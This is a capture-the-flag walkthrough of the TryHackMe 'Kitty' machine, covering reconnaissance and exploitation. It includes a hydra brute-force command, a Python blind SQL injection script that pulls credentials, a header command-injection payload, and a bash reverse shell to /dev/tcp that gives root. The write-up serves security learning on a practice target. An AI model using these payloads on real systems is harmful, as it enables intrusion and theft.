TryHackMe: Kitty

Kitty from TryHackMe is a Linux machine running a web application with security vulnerabilities. We are tasked with finding the vulnerabilities and exploiting them to gain root privileges on the machine.

NMAP

We have only two ports open 22 for SSH and HTTP port 80.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ nmap -p22,80 10.10.113.181 -A -oN nmap/kitty
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-03 08:26 CST
Nmap scan report for 10.10.113.181
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
|   256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_  256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.36 seconds

PORT 80 HTTP

The webpage has a login form. We do not have any credentials yet to log in. We do have an option to sign up. Let’s try some basic SQL injection payloads and see if we can get in.

It looks like our attempt to perform SQLi is being detected. We will have to find another way to log in.

Let’s sign up and see if we get any additional information.

Let’s log in now with our newly created account.

There is nothing that stands out on this web page. Looking at the cookies, we see a PHPSESID cookie that is a randomly generated string. The cookie does not seem like it’s encoded in any form. Viewing the page source also did not reveal anything interesting.

To further understand what vulnerability this web application has, we can try to create another account and then compare the accounts to see if anything odd shows up.

Let’s login with this account now.

We get the same page but it is interesting to notice that the cookie value is the same for ishsome1 user as well! Also, from our NMAP scan, we know that the httpOnly flag is not set for the PHPSESSID cookie. At this point, we can’t think of anything else but try to brute-force the login page assuming the user name is kitty.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ hydra -l kitty -P /usr/share/wordlists/rockyou.txt 10.10.113.181 http-post-form "/index.php:username=^USER^password=^PASS^&Login=Login:Invalid username or password"   
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-03 08:27:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.113.181:80/index.php:username=^USER^password=^PASS^&Login=Login:Invalid username or password
[STATUS] 914.00 tries/min, 914 tries in 00:01h, 14343485 to do in 261:34h, 16 active
[STATUS] 913.33 tries/min, 2740 tries in 00:03h, 14341659 to do in 261:43h, 16 active
[80][http-post-form] host: 10.10.113.181   login: kitty   password: <REDACTED>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-03 08:31:03

We found the password! Let’s try to log in as kitty now.

May be brute-forcing is not the way to go. The password we obtained may be the right password but it didn’t do anything good for us

After logging in we see the above message.

We get the same message when we try to do an SQL injection attack. This means either we are not on the right track perhaps or there are some filters in place that are detecting the characters used in SQL injection payloads.

We will try a different payload this time.

I tried sqlmap as well but none of the parameters were injectable according to the tool

Foothold

We may have to do this the old-school way. We can start by enumerating the number of columns.

If our query is not true, we will get the error message for login.

If our query is right, we are greeted with a welcome message.

Enumerating the entire database will take time if we continue this way. We can automate the process using a Python script below which I got from 0xb0b’s Writeup. The below script will give us the name of the database, name of the table, username, and password for the users in the table.

import requests

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
url = 'http://kitty.thm/index.php'
headers = {
	'Host': 'kitty.thm',
	'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'Accept-Encoding': 'gzip, deflate, br',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Origin': 'http://kitty.thm',
	'Connection': 'close',
	'Referer': 'http://kitty.thm/index.php',
	'Upgrade-Insecure-Requests': '1'
}
db_name = ''
table_name = '' 
user_name = '' 
password = '' 

state = 1
while state < 5:
	for elem in probe:
		if state == 1:
			query = "' UNION SELECT 1,2,3,4 where database() like '{sub}%';-- -".format(sub=db_name+elem)
		elif state == 2:
			query = "' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = '{db}' and table_name like '{sub}%';-- -".format(sub=table_name+elem, db=db_name)
		elif state == 3:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username like '{sub}%' -- -".format(sub=user_name+elem,tb=table_name)
		elif state == 4:
			query = "' UNION SELECT 1,2,3,4 from {tb} where username = '{user}' and password like BINARY '{sub}%' -- -".format(sub=password+elem,tb=table_name,user=user_name)
		
		data = {
		    'username': query,
		    'password': '123456'
		}
		response = requests.post(url, headers=headers, data=data,allow_redirects=True)
		#print("Size of Response Content:", len(response.content), "bytes")
		if(len(response.content) == 618):
			if state == 1:
				db_name += elem
			if state == 2:
				table_name += elem	
			if state == 3:
				user_name += elem
			if state == 4:
				password += elem
			break
		if(elem == probe[-1]):
			print('\033[K')
			if state == 1:
				print("database:\t" + db_name)
			elif state == 2:
				print("table:\t\t" + table_name)
			elif state == 3:
				print("user:\t\t" + user_name)
			elif state == 4:
				print("password:\t" + password)
			state = state +1
		if(elem != "\n"):		
			if state == 1:
				print("database:\t" + db_name+elem,end='\r')
			elif state == 2:
				print("table:\t\t" + table_name+elem,end='\r')
			elif state == 3:
				print("user:\t\t" + user_name+elem,end='\r')
			elif state == 4:
				print("password:\t" + password+elem,end='\r')

This will take some time to finish.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ python3 db.py                                      

database:	mywebsite

table:		siteusers

user:		kitty

password:	L0ng_Liv3_KittY

Once we get the password, we can connect to the machine on SSH as user kitty

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ ssh kitty@kitty.thm
kitty@kitty.thm's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Nov  8 01:59:23 2022 from 10.0.2.26
kitty@kitty:~$ 

Privilege Escalation

Things I always try first when trying to escalate privileges on a Linux machine:

  • Run sudo -l to find if our user is in the sudoers group and can run any binaries as root (kitty is not in the sudoers group, unfortunately)
  • Find SUID binaries (Nothing interesting found)
  • Run linpeas which did not reveal anything interesting either

Checking for the open ports that are listening locally on the machine, we found some ports.

kitty@kitty:/tmp$ ss -tunlp
Netid       State        Recv-Q       Send-Q                 Local Address:Port                Peer Address:Port       Process       
udp         UNCONN       0            0                      127.0.0.53%lo:53                       0.0.0.0:*                        
udp         UNCONN       0            0                   10.10.49.10%eth0:68                       0.0.0.0:*                        
tcp         LISTEN       0            4096                   127.0.0.53%lo:53                       0.0.0.0:*                        
tcp         LISTEN       0            128                          0.0.0.0:22                       0.0.0.0:*                        
tcp         LISTEN       0            70                         127.0.0.1:33060                    0.0.0.0:*                        
tcp         LISTEN       0            151                        127.0.0.1:3306                     0.0.0.0:*                        
tcp         LISTEN       0            511                        127.0.0.1:8080                     0.0.0.0:*                        
tcp         LISTEN       0            128                             [::]:22                          [::]:*                        
tcp         LISTEN       0            511                                *:80                             *:*   

Using cURL, we can see what is running on port 8080. We can see that it is a website for ‘Development User Login’.

kitty@kitty:/tmp$ curl 127.0.0.1:8080


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>Development User Login</h2>
        <p>Please fill in your credentials to login.</p>


        <form action="/index.php" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control">
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control">
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
	    </div>
	    <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
        </form>
    </div>
</body>
</html>

Since we have SSH access, we can do SSH port forwarding.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ ssh -L 9090:127.0.0.1:8080 kitty@kitty.thm
kitty@kitty.thm's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64)

Both websites seem to be working the same way. If we try SQLi, it gives us the below message.

┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ curl 'http://127.0.0.1:9090/index.php' -d "username=blah' OR '1'='1-- -&password=a" -H 'X-Forwarded-For: blahblah'

SQL Injection detected. This incident will be logged!  
kitty@kitty:/var/www/development$ tail logged
blahblah

If we compare the source code for both web pages, we see that the development site tries to log the IP of a visitor using the X-Forwarded-For header whenever an SQL Injection attempt takes place. It logs this on a file located in /var/www/development/logged.

kitty@kitty:/var/www$ diff development/index.php html/index.php 
19,21d18
< 		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
< 		$ip .= "\n";
< 		file_put_contents("/var/www/development/logged", $ip);
24,27c21
< 		echo 'SQL Injection detected. This incident will be logged!';
< 		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
< 		$ip .= "\n";
< 		file_put_contents("/var/www/development/logged", $ip);	
---
> 		echo 'SQL Injection detected. This incident will be logged!';	
67c61
<         <h2>Development User Login</h2>
---
>         <h2>User Login</h2>

Running PSPY revealed a cron job run by root every minute and modifying the file located at /opt_log_checker.sh

kitty@kitty:/tmp$ wget http://10.13.1.112/pspy
--2024-02-06 01:43:09--  http://10.13.1.112/pspy
Connecting to 10.13.1.112:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy’

pspy                       100%[========================================>]   2.96M   303KB/s    in 11s     

2024-02-06 01:43:20 (264 KB/s) - ‘pspy’ saved [3104768/3104768]

kitty@kitty:/tmp$ chmod +x pspy 
kitty@kitty:/tmp$ ./pspy 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██     ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒      ██▒▒██▄█▓▒   ▐██▓░
    ▒██▒   ░▒██████▒▒▒██▒     ██▒▓░
    ▒▓▒░   ░▒ ▒▓▒  ░▒▓▒░     ██▒▒▒ 
    ░▒       ░▒   ░░▒      ▓██ ░▒░ 
    ░░             ░░         ░░  
                                    
                                    
                               
 ..<SNIPPED>..
 
2024/02/06 01:43:32 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity 
2024/02/06 01:44:01 CMD: UID=0     PID=1616   | /usr/sbin/CRON -f 
2024/02/06 01:44:01 CMD: UID=0     PID=1615   | /usr/sbin/CRON -f 
2024/02/06 01:44:01 CMD: UID=0     PID=1617   | /bin/sh -c /usr/bin/bash /opt/log_checker.sh 
2024/02/06 01:44:01 CMD: UID=0     PID=1618   | /usr/bin/bash /opt/log_checker.sh 

Let’s check the file contents to understand what is happening.

kitty@kitty:/tmp$ cat /opt/log_checker.sh 
#!/bin/sh
while read ip;
do
  /usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged

Let’s break down the script and try to understand what it is doing:

  • The script reads IP addresses from a file located at /var/www/development/logged
  • Next, appends each IP address to the file /root/logged
  • Lastly, clears the original file /var/www/development/logged

Examining the script, we can also see that it loops through each line of the logged file and saves the contents to another file. We can see that it is vulnerable to command injection via the sh -c “echo $ip line. We don’t have write access to the script but because we control what goes on this file, we can achieve command injection and try to get a reverse shell as root.

Let’s create a bash script with a reverse shell one-liner.

kitty@kitty:~$ cd /tmp
kitty@kitty:/tmp$ nano shell.sh
kitty@kitty:/tmp$ cat shell.sh 
bash -c 'bash -i >& /dev/tcp/10.13.1.112/4444 0>&1'

Now, if we run the cURL command below, we would get the shell as root!

kitty@kitty:/tmp$ curl 'http://127.0.0.1:8080/index.php' -d "username=blah' OR '1'='1-- -&password=blah" -H 'X-Forwarded-For: $(bash /tmp/shell.sh)'

SQL Injection detected. This incident will be logged!
┌──(ishsome㉿kali)-[~/THM/Linux-Boxes/Kitty]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.13.1.112] from (UNKNOWN) [10.10.49.10] 60092
bash: cannot set terminal process group (2264): Inappropriate ioctl for device
bash: no job control in this shell
root@kitty:~# 

Conclusion

This box has two injection-type attacks–SQL injection to get a foothold and Command injection to get root. Although the box was vulnerable to SQLi, sqlmap was unable to find the injection point. Automating the SQLi gave us the username and password from the MySQL database. It was important to understand the cron job and what it is doing to successfully abuse the script to carry out command injection and get root access.